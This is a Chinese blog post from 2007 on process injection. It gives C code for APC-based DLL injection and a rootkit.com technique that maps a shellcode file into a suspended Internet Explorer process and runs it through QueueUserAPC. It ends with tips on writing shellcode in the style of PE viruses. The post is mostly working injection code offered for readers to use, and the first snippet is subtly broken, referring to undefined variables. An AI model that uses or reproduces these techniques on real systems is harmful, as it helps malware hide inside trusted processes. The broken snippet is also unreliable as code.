垃圾堆——windowssky
人生就象一场旅行 不必在乎目的地 在乎的是沿途的风景以及看风景的心情
<2009年1月>
28293031123
45678910
11121314151617
18192021222324
25262728293031
1234567

留言簿(1)

随笔分类

随笔档案

文章档案

相册

NDIS IFS

内核研究

基础知识

安全技术

操作系统

病毒技术

网络技术

逆向工程

驱动开发

搜索

最新评论

阅读排行榜

评论排行榜

 
VC知识库BLOG   首页  新随笔  联系  聚合  登录 
  随笔-21 文章-0 评论-31 Trackbacks-0

inject的一般方法是:CreateRemoteThread;今天在Rootkit上看到一个新的方法,让我想起1年前我看到过的类似方法,大家一起看看这种方法吧:
1) 1年前我所看到的方法
    DWORD  dwResult;
    HANDLE hThread;
    HANDLE hProcess;
    char   szDllName[] = "c:\\MyDll.dll";
    int    nLen = strlen(szDllName) + 1;
    PVOID  pData= VirtualAllocEx(hProcess,
                                
NULL, 
                                 nLen, 
                                 MEM_COMMIT | MEM_TOP_DOWN, 
                                 PAGE_READWRITE);
    if (param != NULL)
    {
        if (WriteProcessMemory(hProcess, 
                               pData,
                               (LPVOID)szDllName,
                               len,
                               &ret))
        {
            for (DWORD p = 0; p < NumberOfThreads; p++) //寻找适当的线程
            {
                hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
                if (hThread != 0)
                {
                    InjectDll(hProcess, hThread, (DWORD)pData);
                    CloseHandle(hThread);                                  
                }
            }
    } 

    void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
    {
        QueueUserAPC( (PAPCFUNC)GetProcAddress(GetModuleHandle
                      ("kernel32.dll"), "LoadLibraryA"),  
                      hThread,  
                      (DWORD)param )
            
    }


2) Rootkit上的方法,下面代码转自 http://www.rootkit.com/newsread.php?newsid=715

#define _WIN32_WINNT 0x0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*,
                SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;


LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh,
        DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )   
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;


// Convert the offset
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// Save the size and base
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// Convert flags to NT Protection Attributes
if (dwDesiredAccess & FILE_MAP_WRITE)
{
  Protect  = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
  Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
  Protect = PAGE_WRITECOPY;
}
else
{
  Protect = PAGE_NOACCESS;
}

// Map the section
Status = NtMapViewOfSection(hFileMappingObject,
        hProcess,
        &ViewBase,
        0,
        0,
        &SectionOffset,
        &ViewSize,
        ViewShare,
        0,
        Protect);
if (!NT_SUCCESS(Status))
{
  // We failed
  return NULL;
}

// Return the base
    return ViewBase;
}



int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");


// Getting a shellcode, use whatever you want
HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);


// Starting target process
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);


// Injecting the shellcode into target process address space
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);


// Create a new APC which will be executed at first when the thread resume
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);

ResumeThread (pi.hThread);


CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}

总结:
1 巧妙的应用了QueueUserAPC和Apc Queue,上述LoadLibrary动作和MappedFile的shellcode在目标线程被调度为运行状态的时候执行.

2 还记得APC Queue吗?
线程被重新调度为运行状态的时候会检查当前的Apc Queue,只有Queue中所有的Routine被执行完毕后,才执行线程原来被中断(入口)的代码.

3 第二个例子要自己写shellcode,关于如何定位函数,参见PE病毒写法,不要从栈地址找Kenel32的地址了,从TEB中的SEH地址找,默认(最外层)的处理Routine在Kenel32.dll中......

posted on 2007-06-18 17:59 垃圾一堆 阅读(3204) 评论(1)  编辑 收藏
Comments
  • # re: Code Inject的新技术
    玻璃小屋
    Posted @ 2007-06-19 10:45

    一发不可收拾。。。
标题  
姓名  
主页
验证码 *
内容   
  登录  使用高级评论  Top
[使用Ctrl+Enter键可以直接提交]